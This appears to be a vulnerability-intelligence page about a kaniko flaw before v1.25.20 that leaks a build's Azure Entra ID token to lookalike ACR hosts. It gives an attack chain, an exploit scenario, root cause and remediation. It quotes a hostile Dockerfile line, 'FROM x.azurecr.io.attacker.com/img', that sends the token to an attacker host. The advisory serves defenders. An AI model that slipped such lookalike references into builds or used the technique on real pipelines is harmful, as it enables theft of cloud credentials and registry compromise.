Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSupply Dockerfile referencing lookalike ACR host
-
DeliveryVictim runs kaniko build on input
-
ExploitUnanchored regex accepts attacker hostname
-
InstallHelper requests build identity's Azure token
-
C2Token POSTed to attacker-controlled host
-
ExecuteAttacker accesses Azure Resource Manager
-
ImpactExchange token for ACR push credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Origin validation
|
| Exploitation Conditions | Three conditions must hold together: (1) kaniko before v1.25.20 is used to build a Dockerfile or build arguments the operator does not fully control - specifically a 'FROM' or 'COPY --from=<image>' referencing a lookalike host whose name merely contains '.azurecr.io', '.azurecr.cn', '.azurecr.de' or '.azurecr.us' (e.g. x.azurecr.io.attacker.com); (2) the registry has no entry in the Docker config and is not a Google or Amazon ECR host, so kaniko consults the built-in ACR helper before contacting it; and (3) an Azure identity is reachable in the build environment - service principal variables (AZURE_CLIENT_ID/SECRET/TENANT_ID), a federated workload identity token (AZURE_FEDERATED_TOKEN[_FILE], as injected by AKS workload identity), or a managed identity via the Instance Metadata Service (169.254.169.254) or MSI_ENDPOINT. No RUN instruction and no push are required. LIMITING FACTORS: exploitation is moot if no Azure identity is exposed to the build (then there is no token to leak); the attack requires that a build actually be executed on attacker-influenced input (UI:R); and ACR need not be configured or used. Setting '"credsStore": "acr-env"' widens the standalone-binary path to every registry but is uncommon because before v1.25.20 it broke non-ACR pulls. |
| Impact | This is a genuine high-priority issue, not a CVSS-inflated one, but its real-world blast radius is gated by a concrete precondition. The provided CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N, 9.3) describes a network-reachable, low-complexity flaw needing no attacker privileges, only that a victim run a kaniko build (UI:R) on attacker-influenced input; the scope change (S:C) correctly reflects that the compromised asset is a separate Azure identity, not kaniko itself. The vuln.today Decision label is 'act_now', and a vendor patch is available, which together argue for immediate remediation. However, key exploitation signals are MISSING from the input: no EPSS probability was supplied, and KEV status is not indicated (treat as not KEV-listed), so there is no evidence of confirmed active exploitation. No exploit-code reference marked as confirmed is present either - the referenced upstream issue #21 is a vulnerability report, not weaponized PoC. The decisive risk driver is therefore not observed exploitation but exposure pattern: the flaw only matters where kaniko (<1.25.20) builds untrusted Dockerfiles in an environment that exposes an Azure identity (service principal env vars, AKS federated workload identity, or managed identity via IMDS/MSI). That combination is common in cloud-native CI/CD on Azure, which is why the 'act_now' label is defensible despite the absence of EPSS/KEV data. Conversely, environments that never build untrusted input, or that have no Azure identity reachable from the build, face little practical risk regardless of the 9.3 score. |
| Exploit ScenarioDerived | An attacker publishes or submits a Dockerfile containing a lookalike base image such as 'FROM x.azurecr.io.attacker.com/img' (or a 'COPY --from=<image>' reference) into a pipeline that builds untrusted input with kaniko and has an Azure identity available. When the victim runs the build, kaniko's ACR credential helper matches the unanchored hostname regex, obtains an Entra ID access token from the build's Azure identity, and POSTs it to the attacker's host before the registry is even contacted - no RUN instruction or image push required. The attacker then replays the live token against Azure Resource Manager with the identity's role assignments and can exchange it for credentials to any ACR the identity can reach. No confirmed working exploit code is identified in the provided data, though the vendor advisory describes the full technique. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 02, 2026
kaniko builds before v1.25.20 can leak the build's Microsoft Entra ID (Azure AD) access token to an attacker-controlled registry host, because the bundled ACR credential helper github.com/chrismellard/docker-credential-acr-env matches ACR hosts with an unanchored regular expression and therefore accepts any name that merely contains '.azurecr.io', '.azurecr.cn', '.azurecr.de' or '.azurecr.us'. A Dockerfile the operator does not fully control needs only a FROM or COPY --from=<image> pointing at a lookalike host such as x.azurecr.io.attacker.com - no RUN instruction and no push - for kaniko to fetch a token from the build's Azure identity (service principal variables, a federated workload identity token, or a managed identity via IMDS/MSI_ENDPOINT) and POST it to https://<host>/oauth2/exchange, where the attacker can reuse it against Azure Resource Manager and exchange it for credentials to any ACR registry the identity can reach. The vector is AV:N/AC:L/PR:N/UI:R/S:C with high confidentiality and integrity impact and no availability impact; exploitation is only possible where an Azure identity is actually reachable from the build environment, and no public exploit code was identified at time of analysis. Vendor-released patch: kaniko v1.25.20.
RemediationAI
Rebuild the kaniko executor, the warmer and the docker-credential-acr-env binary from kaniko v1.25.20 or later (release https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20, fix https://github.com/chainguard-forks/kaniko/pull/495); Go consumers should update github.com/chainguard-dev/kaniko to v1.25.20 or later, after which kaniko no longer depends on github.com/chrismellard/docker-credential-acr-env and scanners stop reporting GO-2026-6225 for it. Because the fixed helper is a vendored in-tree copy, note that the chainguard-forks repository publishes no binaries or images, so images must be rebuilt rather than pulled. If upgrading is not immediately possible, follow the vendor's workarounds: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment and block build pods' access to the Instance Metadata Service at 169.254.169.254 (the trade-off is that managed-identity authentication stops working for those builds); or, if built-in ACR authentication is not relied upon, set AZURE_ENVIRONMENT to a value naming no Azure cloud, such as AZURE_ENVIRONMENT=none, so the helper fails before requesting any token (the trade-off is that kaniko then cannot authenticate to ACR through the helper). If "credsStore": "acr-env" is configured, replace it with per-host credHelpers entries for your own ACR registries, which on its own only closes the standalone-binary path. Finally, if untrusted Dockerfiles were built with an Azure identity available, treat any token issued to that identity during those builds as compromised, review Entra ID sign-in and Azure activity logs for ACR pushes, role-assignment changes and key or secret listings, and rotate readable secrets such as storage account keys - but note that rotating credentials does not revoke a token already issued, which remains valid until it expires.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-346 (origin validation error), with the advisory also classifying the token exposure as CWE-522 (insufficiently protected credentials). kaniko links the third-party ACR credential helper into its executor and warmer and also ships it as the standalone docker-credential-acr-env binary; the helper decides whether a host is an ACR registry by testing the hostname against an unanchored regex, so suffix checks that should have been anchored accept attacker-registrable names like x.azurecr.io.attacker.com. kaniko consults this helper for any registry that has no credentials in the Docker config.json and is not a Google or Amazon ECR host, and it asks for credentials before contacting the registry, so the attacker's server never has to issue an authentication challenge. The helper then writes the Entra ID access token into both the Authorization: Bearer header and the access_token form field of a POST to https://<host>/oauth2/exchange. Because the token is a live Azure Resource Manager token, the attacker inherits the identity's role assignments until expiry and can replay the same exchange flow against any genuine ACR registry the identity can access; with AcrPush or higher this permits image pushes. The upstream Go module is unmaintained and has no fixed release (tracked as GO-2026-6225), so remediation required vendoring a patched in-tree copy under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in one of the four ACR suffixes. The CVSS scope change (S:C) reflects that the vulnerable component leaks a credential granting authority over a separate Azure control plane and registry resources.
Know when Kaniko gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
No attacker privileges needed; a victim must run the build on untrusted input (UI:R); a separate Azure identity is compromised (S:C), with token leak enabling ARM access and image push (C:H/I:H) but no availability loss.
Primary rating from Vendor (chainguard).
CVSS VectorVendor: chainguard
DescriptionCVE.org
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Technical POC Analysis
This is CWE-346 origin validation error.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
A critical vulnerability in kaniko (versions before v1.25.20) allows an attacker who can influence a Dockerfile to exfiltrate the build's Azure AD access token to an attacker-controlled registry lookalike host, potentially compromising the entire Azure Container Registry estate and downstream Azure resources. This directly impacts any organization using kaniko for CI/CD in Azure environments, as a single malicious image reference could grant attackers persistent access to container images and associated cloud infrastructure. Leadership should prioritize immediate remediation because the flaw requires no privileges and only user interaction, making it exploitable through supply chain or repository compromise.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
EUVD-2026-115331
NVD
CVE.org
Vulnrichment
GitHub
VulDB
Exploit-DB